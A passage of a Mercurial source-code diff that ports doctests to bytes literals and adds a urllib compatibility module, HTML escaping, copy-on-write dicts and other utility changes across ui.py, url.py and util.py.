         """parse a configuration element as a boolean
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'true', 'yes')
-        >>> u.configbool(s, 'true')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'true', b'yes')
+        >>> u.configbool(s, b'true')
         True
-        >>> u.setconfig(s, 'false', 'no')
-        >>> u.configbool(s, 'false')
+        >>> u.setconfig(s, b'false', b'no')
+        >>> u.configbool(s, b'false')
         False
-        >>> u.configbool(s, 'unknown')
+        >>> u.configbool(s, b'unknown')
         False
-        >>> u.configbool(s, 'unknown', True)
+        >>> u.configbool(s, b'unknown', True)
         True
-        >>> u.setconfig(s, 'invalid', 'somevalue')
-        >>> u.configbool(s, 'invalid')
+        >>> u.setconfig(s, b'invalid', b'somevalue')
+        >>> u.configbool(s, b'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a boolean ('somevalue')
@@ -568,21 +596,21 @@
                    desc=None, untrusted=False):
         """parse a configuration element with a conversion function
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'float1', '42')
-        >>> u.configwith(float, s, 'float1')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'float1', b'42')
+        >>> u.configwith(float, s, b'float1')
         42.0
-        >>> u.setconfig(s, 'float2', '-4.25')
-        >>> u.configwith(float, s, 'float2')
+        >>> u.setconfig(s, b'float2', b'-4.25')
+        >>> u.configwith(float, s, b'float2')
         -4.25
-        >>> u.configwith(float, s, 'unknown', 7)
+        >>> u.configwith(float, s, b'unknown', 7)
         7.0
-        >>> u.setconfig(s, 'invalid', 'somevalue')
-        >>> u.configwith(float, s, 'invalid')
+        >>> u.setconfig(s, b'invalid', b'somevalue')
+        >>> u.configwith(float, s, b'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid float ('somevalue')
-        >>> u.configwith(float, s, 'invalid', desc='womble')
+        >>> u.configwith(float, s, b'invalid', desc=b'womble')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid womble ('somevalue')
@@ -595,24 +623,24 @@
             return convert(v)
         except (ValueError, error.ParseError):
             if desc is None:
-                desc = convert.__name__
+                desc = pycompat.sysbytes(convert.__name__)
             raise error.ConfigError(_("%s.%s is not a valid %s ('%s')")
                                     % (section, name, desc, v))
 
     def configint(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as an integer
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'int1', '42')
-        >>> u.configint(s, 'int1')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'int1', b'42')
+        >>> u.configint(s, b'int1')
         42
-        >>> u.setconfig(s, 'int2', '-42')
-        >>> u.configint(s, 'int2')
+        >>> u.setconfig(s, b'int2', b'-42')
+        >>> u.configint(s, b'int2')
         -42
-        >>> u.configint(s, 'unknown', 7)
+        >>> u.configint(s, b'unknown', 7)
         7
-        >>> u.setconfig(s, 'invalid', 'somevalue')
-        >>> u.configint(s, 'invalid')
+        >>> u.setconfig(s, b'invalid', b'somevalue')
+        >>> u.configint(s, b'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a valid integer ('somevalue')
@@ -627,17 +655,17 @@
         Units can be specified as b (bytes), k or kb (kilobytes), m or
         mb (megabytes), g or gb (gigabytes).
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'val1', '42')
-        >>> u.configbytes(s, 'val1')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'val1', b'42')
+        >>> u.configbytes(s, b'val1')
         42
-        >>> u.setconfig(s, 'val2', '42.5 kb')
-        >>> u.configbytes(s, 'val2')
+        >>> u.setconfig(s, b'val2', b'42.5 kb')
+        >>> u.configbytes(s, b'val2')
         43520
-        >>> u.configbytes(s, 'unknown', '7 MB')
+        >>> u.configbytes(s, b'unknown', b'7 MB')
         7340032
-        >>> u.setconfig(s, 'invalid', 'somevalue')
-        >>> u.configbytes(s, 'invalid')
+        >>> u.setconfig(s, b'invalid', b'somevalue')
+        >>> u.configbytes(s, b'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a byte quantity ('somevalue')
@@ -660,9 +688,9 @@
         """parse a configuration element as a list of comma/space separated
         strings
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'list1', 'this,is "a small" ,test')
-        >>> u.configlist(s, 'list1')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'list1', b'this,is "a small" ,test')
+        >>> u.configlist(s, b'list1')
         ['this', 'is', 'a small', 'test']
         """
         # default is not always a list
@@ -677,9 +705,9 @@
     def configdate(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as a tuple of ints
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'date', '0 0')
-        >>> u.configdate(s, 'date')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'date', b'0 0')
+        >>> u.configdate(s, b'date')
         (0, 0)
         """
         if self.config(section, name, default, untrusted):
@@ -741,13 +769,15 @@
             return feature not in exceptions
         return True
 
-    def username(self):
+    def username(self, acceptempty=False):
         """Return default username to be used in commits.
 
         Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
         and stop searching if one of these is set.
+        If not found and acceptempty is True, returns None.
         If not found and ui.askusername is True, ask the user, else use
         ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
+        If no username could be found, raise an Abort error.
         """
         user = encoding.environ.get("HGUSER")
         if user is None:
@@ -756,6 +786,8 @@
                 user = os.path.expandvars(user)
         if user is None:
             user = encoding.environ.get("EMAIL")
+        if user is None and acceptempty:
+            return user
         if user is None and self.configbool("ui", "askusername"):
             user = self.prompt(_("enter a commit username:"), default=None)
         if user is None and not self.interactive():
@@ -962,6 +994,7 @@
             # formatted() will need some adjustment.
             or not self.formatted()
             or self.plain()
+            or self._buffers
             # TODO: expose debugger-enabled on the UI object
             or '--debugger' in pycompat.sysargv):
             # We only want to paginate if the ui appears to be
@@ -1018,7 +1051,7 @@
         # gracefully and tell the user about their broken pager.
         shell = any(c in command for c in "|&;<>()$`\\\"' \t\n*?[#~=%")
 
-        if pycompat.osname == 'nt' and not shell:
+        if pycompat.iswindows and not shell:
             # Window's built-in `more` cannot be invoked with shell=False, but
             # its `more.com` can.  Hide this implementation detail from the
             # user so we can also get sane bad PAGER behavior.  MSYS has
@@ -1065,6 +1098,10 @@
 
         return True
 
+    @property
+    def _exithandlers(self):
+        return _reqexithandlers
+
     def atexit(self, func, *args, **kwargs):
         '''register a function to run after dispatching a request
 
@@ -1126,7 +1163,7 @@
             defaultinterface = i
 
         choseninterface = defaultinterface
-        f = self.config("ui", "interface.%s" % feature, None)
+        f = self.config("ui", "interface.%s" % feature)
         if f in availableinterfaces:
             choseninterface = f
 
@@ -1220,18 +1257,10 @@
         self.write(prompt, prompt=True)
         self.flush()
 
-        # instead of trying to emulate raw_input, swap (self.fin,
-        # self.fout) with (sys.stdin, sys.stdout)
-        oldin = sys.stdin
-        oldout = sys.stdout
-        sys.stdin = self.fin
-        sys.stdout = self.fout
         # prompt ' ' must exist; otherwise readline may delete entire line
         # - http://bugs.python.org/issue12833
         with self.timeblockedsection('stdio'):
-            line = raw_input(' ')
-        sys.stdin = oldin
-        sys.stdout = oldout
+            line = util.bytesinput(self.fin, self.fout, r' ')
 
         # When stdin is in binary mode on Windows, it can cause
         # raw_input() to emit an extra trailing carriage return
@@ -1263,11 +1292,11 @@
         This returns tuple "(message, choices)", and "choices" is the
         list of tuple "(response character, text without &)".
 
-        >>> ui.extractchoices("awake? $$ &Yes $$ &No")
+        >>> ui.extractchoices(b"awake? $$ &Yes $$ &No")
         ('awake? ', [('y', 'Yes'), ('n', 'No')])
-        >>> ui.extractchoices("line\\nbreak? $$ &Yes $$ &No")
+        >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No")
         ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
-        >>> ui.extractchoices("want lots of $$money$$?$$Ye&s$$N&o")
+        >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o")
         ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
         """
 
@@ -1279,9 +1308,10 @@
         m = re.match(br'(?s)(.+?)\$\$([^\$]*&[^ \$].*)', prompt)
         msg = m.group(1)
         choices = [p.strip(' ') for p in m.group(2).split('$$')]
-        return (msg,
-                [(s[s.index('&') + 1].lower(), s.replace('&', '', 1))
-                 for s in choices])
+        def choicetuple(s):
+            ampidx = s.index('&')
+            return s[ampidx + 1:ampidx + 2].lower(), s.replace('&', '', 1)
+        return (msg, [choicetuple(s) for s in choices])
 
     def promptchoice(self, prompt, default=0):
         """Prompt user with a message, read response, and ensure it matches
@@ -1352,20 +1382,33 @@
             self.write(*msg, **opts)
 
     def edit(self, text, user, extra=None, editform=None, pending=None,
-             repopath=None):
+             repopath=None, action=None):
+        if action is None:
+            self.develwarn('action is None but will soon be a required '
+                           'parameter to ui.edit()')
         extra_defaults = {
             'prefix': 'editor',
             'suffix': '.txt',
         }
         if extra is not None:
+            if extra.get('suffix') is not None:
+                self.develwarn('extra.suffix is not None but will soon be '
+                               'ignored by ui.edit()')
             extra_defaults.update(extra)
         extra = extra_defaults
 
+        if action == 'diff':
+            suffix = '.diff'
+        elif action:
+            suffix = '.%s.hg.txt' % action
+        else:
+            suffix = extra['suffix']
+
         rdir = None
         if self.configbool('experimental', 'editortmpinhg'):
             rdir = repopath
         (fd, name) = tempfile.mkstemp(prefix='hg-' + extra['prefix'] + '-',
-                                      suffix=extra['suffix'],
+                                      suffix=suffix,
                                       dir=rdir)
         try:
             f = os.fdopen(fd, r'wb')
@@ -1514,10 +1557,10 @@
 
         if total:
             pct = 100.0 * pos / total
-            self.debug('%s:%s %s/%s%s (%4.2f%%)\n'
+            self.debug('%s:%s %d/%d%s (%4.2f%%)\n'
                      % (topic, item, pos, total, unit, pct))
         else:
-            self.debug('%s:%s %s%s\n' % (topic, item, pos, unit))
+            self.debug('%s:%s %d%s\n' % (topic, item, pos, unit))
 
     def log(self, service, *msg, **opts):
         '''hook for logging facility extensions
diff --git a/mercurial/unionrepo.py b/mercurial/unionrepo.py
--- a/mercurial/unionrepo.py
+++ b/mercurial/unionrepo.py
@@ -126,7 +126,7 @@
 
     def addrevision(self, text, transaction, link, p1=None, p2=None, d=None):
         raise NotImplementedError
-    def addgroup(self, revs, linkmapper, transaction):
+    def addgroup(self, deltas, transaction, addrevisioncb=None):
         raise NotImplementedError
     def strip(self, rev, minlink):
         raise NotImplementedError
diff --git a/mercurial/url.py b/mercurial/url.py
--- a/mercurial/url.py
+++ b/mercurial/url.py
@@ -19,7 +19,9 @@
     error,
     httpconnection as httpconnectionmod,
     keepalive,
+    pycompat,
     sslutil,
+    urllibcompat,
     util,
 )
 
@@ -28,6 +30,21 @@
 urlerr = util.urlerr
 urlreq = util.urlreq
 
+def escape(s, quote=None):
+    '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
+    If the optional flag quote is true, the quotation mark character (")
+    is also translated.
+
+    This is the same as cgi.escape in Python, but always operates on
+    bytes, whereas cgi.escape in Python 3 only works on unicodes.
+    '''
+    s = s.replace(b"&", b"&amp;")
+    s = s.replace(b"<", b"&lt;")
+    s = s.replace(b">", b"&gt;")
+    if quote:
+        s = s.replace(b'"', b"&quot;")
+    return s
+
 class passwordmgr(object):
     def __init__(self, ui, passwddb):
         self.ui = ui
@@ -118,7 +135,7 @@
         self.ui = ui
 
     def proxy_open(self, req, proxy, type_):
-        host = req.get_host().split(':')[0]
+        host = urllibcompat.gethost(req).split(':')[0]
         for e in self.no_list:
             if host == e:
                 return None
@@ -165,10 +182,10 @@
             tunnel_host = 'https://' + tunnel_host
         new_tunnel = True
     else:
-        tunnel_host = req.get_selector()
+        tunnel_host = urllibcompat.getselector(req)
         new_tunnel = False
 
-    if new_tunnel or tunnel_host == req.get_full_url(): # has proxy
+    if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy
         u = util.url(tunnel_host)
         if new_tunnel or u.scheme == 'https': # only use CONNECT for HTTPS
             h.realhostport = ':'.join([u.host, (u.port or '443')])
@@ -319,9 +336,9 @@
             return keepalive.KeepAliveHandler._start_transaction(self, h, req)
 
         def https_open(self, req):
-            # req.get_full_url() does not contain credentials and we may
-            # need them to match the certificates.
-            url = req.get_full_url()
+            # urllibcompat.getfullurl() does not contain credentials
+            # and we may need them to match the certificates.
+            url = urllibcompat.getfullurl(req)
             user, password = self.pwmgr.find_stored_password(url)
             res = httpconnectionmod.readauthforuri(self.ui, url, user)
             if res:
@@ -405,7 +422,8 @@
                         self, auth_header, host, req, headers)
 
     def retry_http_basic_auth(self, host, req, realm):
-        user, pw = self.passwd.find_user_password(realm, req.get_full_url())
+        user, pw = self.passwd.find_user_password(
+            realm, urllibcompat.getfullurl(req))
         if pw is not None:
             raw = "%s:%s" % (user, pw)
             auth = 'Basic %s' % base64.b64encode(raw).strip()
@@ -495,13 +513,13 @@
     # agent string for anything, clients should be able to define whatever
     # user agent they deem appropriate.
     agent = 'mercurial/proto-1.0 (Mercurial %s)' % util.version()
-    opener.addheaders = [('User-agent', agent)]
+    opener.addheaders = [(r'User-agent', pycompat.sysstr(agent))]
 
     # This header should only be needed by wire protocol requests. But it has
     # been sent on all requests since forever. We keep sending it for backwards
     # compatibility reasons. Modern versions of the wire protocol use
     # X-HgProto-<N> for advertising client support.
-    opener.addheaders.append(('Accept', 'application/mercurial-0.1'))
+    opener.addheaders.append((r'Accept', r'application/mercurial-0.1'))
     return opener
 
 def open(ui, url_, data=None):
diff --git a/mercurial/urllibcompat.py b/mercurial/urllibcompat.py
new file mode 100644
--- /dev/null
+++ b/mercurial/urllibcompat.py
@@ -0,0 +1,188 @@
+# urllibcompat.py - adapters to ease using urllib2 on Py2 and urllib on Py3
+#
+# Copyright 2017 Google, Inc.
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+from __future__ import absolute_import
+
+from . import pycompat
+
+_sysstr = pycompat.sysstr
+
+class _pycompatstub(object):
+    def __init__(self):
+        self._aliases = {}
+
+    def _registeraliases(self, origin, items):
+        """Add items that will be populated at the first access"""
+        items = map(_sysstr, items)
+        self._aliases.update(
+            (item.replace(_sysstr('_'), _sysstr('')).lower(), (origin, item))
+            for item in items)
+
+    def _registeralias(self, origin, attr, name):
+        """Alias ``origin``.``attr`` as ``name``"""
+        self._aliases[_sysstr(name)] = (origin, _sysstr(attr))
+
+    def __getattr__(self, name):
+        try:
+            origin, item = self._aliases[name]
+        except KeyError:
+            raise AttributeError(name)
+        self.__dict__[name] = obj = getattr(origin, item)
+        return obj
+
+httpserver = _pycompatstub()
+urlreq = _pycompatstub()
+urlerr = _pycompatstub()
+
+if pycompat.ispy3:
+    import urllib.parse
+    urlreq._registeraliases(urllib.parse, (
+        "splitattr",
+        "splitpasswd",
+        "splitport",
+        "splituser",
+        "urlparse",
+        "urlunparse",
+    ))
+    urlreq._registeralias(urllib.parse, "unquote_to_bytes", "unquote")
+    import urllib.request
+    urlreq._registeraliases(urllib.request, (
+        "AbstractHTTPHandler",
+        "BaseHandler",
+        "build_opener",
+        "FileHandler",
+        "FTPHandler",
+        "ftpwrapper",
+        "HTTPHandler",
+        "HTTPSHandler",
+        "install_opener",
+        "pathname2url",
+        "HTTPBasicAuthHandler",
+        "HTTPDigestAuthHandler",
+        "HTTPPasswordMgrWithDefaultRealm",
+        "ProxyHandler",
+        "Request",
+        "url2pathname",
+        "urlopen",
+    ))
+    import urllib.response
+    urlreq._registeraliases(urllib.response, (
+        "addclosehook",
+        "addinfourl",
+    ))
+    import urllib.error
+    urlerr._registeraliases(urllib.error, (
+        "HTTPError",
+        "URLError",
+    ))
+    import http.server
+    httpserver._registeraliases(http.server, (
+        "HTTPServer",
+        "BaseHTTPRequestHandler",
+        "SimpleHTTPRequestHandler",
+        "CGIHTTPRequestHandler",
+    ))
+
+    # urllib.parse.quote() accepts both str and bytes, decodes bytes
+    # (if necessary), and returns str. This is wonky. We provide a custom
+    # implementation that only accepts bytes and emits bytes.
+    def quote(s, safe=r'/'):
+        s = urllib.parse.quote_from_bytes(s, safe=safe)
+        return s.encode('ascii', 'strict')
+
+    # urllib.parse.urlencode() returns str. We use this function to make
+    # sure we return bytes.
+    def urlencode(query, doseq=False):
+            s = urllib.parse.urlencode(query, doseq=doseq)
+            return s.encode('ascii')
+
+    urlreq.quote = quote
+    urlreq.urlencode = urlencode
+
+    def getfullurl(req):
+        return req.full_url
+
+    def gethost(req):
+        return req.host
+
+    def getselector(req):
+        return req.selector
+
+    def getdata(req):
+        return req.data
+
+    def hasdata(req):
+        return req.data is not None
+else:
+    import BaseHTTPServer
+    import CGIHTTPServer
+    import SimpleHTTPServer
+    import urllib2
+    import urllib
+    import urlparse
+    urlreq._registeraliases(urllib, (
+        "addclosehook",
+        "addinfourl",
+        "ftpwrapper",
+        "pathname2url",
+        "quote",
+        "splitattr",
+        "splitpasswd",
+        "splitport",
+        "splituser",
+        "unquote",
+        "url2pathname",
+        "urlencode",
+    ))
+    urlreq._registeraliases(urllib2, (
+        "AbstractHTTPHandler",
+        "BaseHandler",
+        "build_opener",
+        "FileHandler",
+        "FTPHandler",
+        "HTTPBasicAuthHandler",
+        "HTTPDigestAuthHandler",
+        "HTTPHandler",
+        "HTTPPasswordMgrWithDefaultRealm",
+        "HTTPSHandler",
+        "install_opener",
+        "ProxyHandler",
+        "Request",
+        "urlopen",
+    ))
+    urlreq._registeraliases(urlparse, (
+        "urlparse",
+        "urlunparse",
+    ))
+    urlerr._registeraliases(urllib2, (
+        "HTTPError",
+        "URLError",
+    ))
+    httpserver._registeraliases(BaseHTTPServer, (
+        "HTTPServer",
+        "BaseHTTPRequestHandler",
+    ))
+    httpserver._registeraliases(SimpleHTTPServer, (
+        "SimpleHTTPRequestHandler",
+    ))
+    httpserver._registeraliases(CGIHTTPServer, (
+        "CGIHTTPRequestHandler",
+    ))
+
+    def gethost(req):
+        return req.get_host()
+
+    def getselector(req):
+        return req.get_selector()
+
+    def getfullurl(req):
+        return req.get_full_url()
+
+    def getdata(req):
+        return req.get_data()
+
+    def hasdata(req):
+        return req.has_data()
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -13,8 +13,9 @@
 hide platform-specific details from the core.
 """
 
-from __future__ import absolute_import
-
+from __future__ import absolute_import, print_function
+
+import abc
 import bz2
 import calendar
 import codecs
@@ -25,6 +26,8 @@
 import gc
 import hashlib
 import imp
+import itertools
+import mmap
 import os
 import platform as pyplatform
 import re as remod
@@ -48,6 +51,7 @@
     i18n,
     policy,
     pycompat,
+    urllibcompat,
 )
 
 base85 = policy.importmod(r'base85')
@@ -60,7 +64,6 @@
 cookielib = pycompat.cookielib
 empty = pycompat.empty
 httplib = pycompat.httplib
-httpserver = pycompat.httpserver
 pickle = pycompat.pickle
 queue = pycompat.queue
 socketserver = pycompat.socketserver
@@ -68,10 +71,12 @@
 stdin = pycompat.stdin
 stdout = pycompat.stdout
 stringio = pycompat.stringio
-urlerr = pycompat.urlerr
-urlreq = pycompat.urlreq
 xmlrpclib = pycompat.xmlrpclib
 
+httpserver = urllibcompat.httpserver
+urlerr = urllibcompat.urlerr
+urlreq = urllibcompat.urlreq
+
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
@@ -87,7 +92,7 @@
 if isatty(stdout):
     stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
 
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     from . import windows as platform
     stdout = platform.winstdout(stdout)
 else:
@@ -171,6 +176,14 @@
 def safehasattr(thing, attr):
     return getattr(thing, attr, _notset) is not _notset
 
+def bytesinput(fin, fout, *args, **kwargs):
+    sin, sout = sys.stdin, sys.stdout
+    try:
+        sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
+        return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
+    finally:
+        sys.stdin, sys.stdout = sin, sout
+
 def bitsfrom(container):
     bits = 0
     for bit in container:
@@ -218,15 +231,15 @@
 
     This helper can be used to compute one or more digests given their name.
 
-    >>> d = digester(['md5', 'sha1'])
-    >>> d.update('foo')
+    >>> d = digester([b'md5', b'sha1'])
+    >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
-    >>> d['md5']
+    >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
-    >>> d['sha1']
+    >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
-    >>> digester.preferred(['md5', 'sha1'])
+    >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
@@ -300,7 +313,7 @@
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
-closefds = pycompat.osname == 'posix'
+closefds = pycompat.isposix
 
 _chunksize = 4096
 
@@ -398,6 +411,17 @@
             self._lenbuf += len(data)
             self._buffer.append(data)
 
+def mmapread(fp):
+    try:
+        fd = getattr(fp, 'fileno', lambda: fp)()
+        return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
+    except ValueError:
+        # Empty files cannot be mmapped, but mmapread should still work.  Check
+        # if the file is empty, and if so, return an empty buffer.
+        if os.fstat(fd).st_size == 0:
+            return ''
+        raise
+
 def popen2(cmd, env=None, newlines=False):
     # Setting bufsize to -1 lets the system decide the buffer size.
     # The default for bufsize is 0, meaning unbuffered. This leads to
@@ -439,7 +463,7 @@
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
-    >>> v = '3.6.1+190-df9b73d2d444'
+    >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
@@ -447,10 +471,10 @@
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
-    >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
+    >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
-    >>> v = '3.6'
+    >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
@@ -458,7 +482,7 @@
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
-    >>> v = '3.9-rc'
+    >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
@@ -466,7 +490,7 @@
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
-    >>> v = '3.9-rc+2-02a8fea4289b'
+    >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
@@ -567,15 +591,33 @@
 
     return f
 
+class cow(object):
+    """helper class to make copy-on-write easier
+
+    Call preparewrite before doing any writes.
+    """
+
+    def preparewrite(self):
+        """call this before writes, return self or a copied new object"""
+        if getattr(self, '_copied', 0):
+            self._copied -= 1
+            return self.__class__(self)
+        return self
+
+    def copy(self):
+        """always do a cheap copy"""
+        self._copied = getattr(self, '_copied', 0) + 1
+        return self
+
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
-    >>> d1 = sortdict([('a', 0), ('b', 1)])
+    >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
-    >>> d2.update([('a', 2)])
-    >>> d2.keys() # should still be in last-set order
+    >>> d2.update([(b'a', 2)])
+    >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
@@ -592,6 +634,63 @@
             for k, v in src:
                 self[k] = v
 
+class cowdict(cow, dict):
+    """copy-on-write dict
+
+    Be sure to call d = d.preparewrite() before writing to d.
+
+    >>> a = cowdict()
+    >>> a is a.preparewrite()
+    True
+    >>> b = a.copy()
+    >>> b is a
+    True
+    >>> c = b.copy()
+    >>> c is a
+    True
+    >>> a = a.preparewrite()
+    >>> b is a
+    False
+    >>> a is a.preparewrite()
+    True
+    >>> c = c.preparewrite()
+    >>> b is c
+    False
+    >>> b is b.preparewrite()
+    True
+    """
+
+class cowsortdict(cow, sortdict):
+    """copy-on-write sortdict
+
+    Be sure to call d = d.preparewrite() before writing to d.
+    """
+
+class transactional(object):
+    """Base class for making a transactional type into a context manager."""
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractmethod
+    def close(self):
+        """Successfully closes the transaction."""
+
+    @abc.abstractmethod
+    def release(self):
+        """Marks the end of the transaction.
+
+        If the transaction has not been closed, it will be aborted.
+        """
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        try:
+            if exc_type is None:
+                self.close()
+        finally:
+            self.release()
+
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
@@ -610,6 +709,10 @@
     finally:
         tr.release()
 
+@contextlib.contextmanager
+def nullcontextmanager():
+    yield
+
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
@@ -934,10 +1037,9 @@
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
-    This garbage collector issue have been fixed in 2.7.
+    This garbage collector issue have been fixed in 2.7. But it still affect
+    CPython's performance.
     """
-    if sys.version_info >= (2, 7):
-        return func
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
@@ -948,6 +1050,10 @@
                 gc.enable()
     return wrapper
 
+if pycompat.ispypy:
+    # PyPy runs slower with gc disabled
+    nogc = lambda x: x
+
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
@@ -1189,32 +1295,34 @@
 
     return hardlink, num
 
-_winreservednames = b'''con prn aux nul
-    com1 com2 com3 com4 com5 com6 com7 com8 com9
-    lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
+_winreservednames = {
+    'con', 'prn', 'aux', 'nul',
+    'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
+    'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
+}
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
-    >>> checkwinfilename("just/a/normal/path")
-    >>> checkwinfilename("foo/bar/con.xml")
+    >>> checkwinfilename(b"just/a/normal/path")
+    >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
-    >>> checkwinfilename("foo/con.xml/bar")
+    >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
-    >>> checkwinfilename("foo/bar/xml.con")
-    >>> checkwinfilename("foo/bar/AUX/bla.txt")
+    >>> checkwinfilename(b"foo/bar/xml.con")
+    >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
-    >>> checkwinfilename("foo/bar/bla:.txt")
+    >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
-    >>> checkwinfilename("foo/bar/b\07la.txt")
+    >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
-    >>> checkwinfilename("foo/bar/bla ")
+    >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
-    >>> checkwinfilename("../bar")
-    >>> checkwinfilename("foo\\")
+    >>> checkwinfilename(b"../bar")
+    >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
-    >>> checkwinfilename("foo\\/bar")
+    >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
@@ -1229,18 +1337,18 @@
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
-                return _("filename contains %r, which is invalid "
-                         "on Windows") % c
+                return _("filename contains '%s', which is invalid "
+                         "on Windows") % escapestr(c)
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
-        t = n[-1]
+        t = n[-1:]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
@@ -1414,34 +1522,27 @@
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
-    f1 = testfile + ".hgtmp1"
-    if os.path.lexists(f1):
-        return False
+    f1, f2, fp = None, None, None
     try:
-        posixfile(f1, 'w').close()
-    except IOError:
-        try:
-            os.unlink(f1)
-        except OSError:
-            pass
-        return False
-
-    f2 = testfile + ".hgtmp2"
-    fd = None
-    try:
+        fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
+                                  suffix='1~', dir=os.path.dirname(testfile))
+        os.close(fd)
+        f2 = '%s2~' % f1[:-2]
+
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
-        fd = posixfile(f2)
+        fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
-        if fd is not None:
-            fd.close()
+        if fp is not None:
+            fp.close()
         for f in (f1, f2):
             try:
-                os.unlink(f)
+                if f is not None:
+                    os.unlink(f)
             except OSError:
                 pass
 
@@ -1460,7 +1561,7 @@
 
 def gui():
     '''Are we running in a GUI?'''
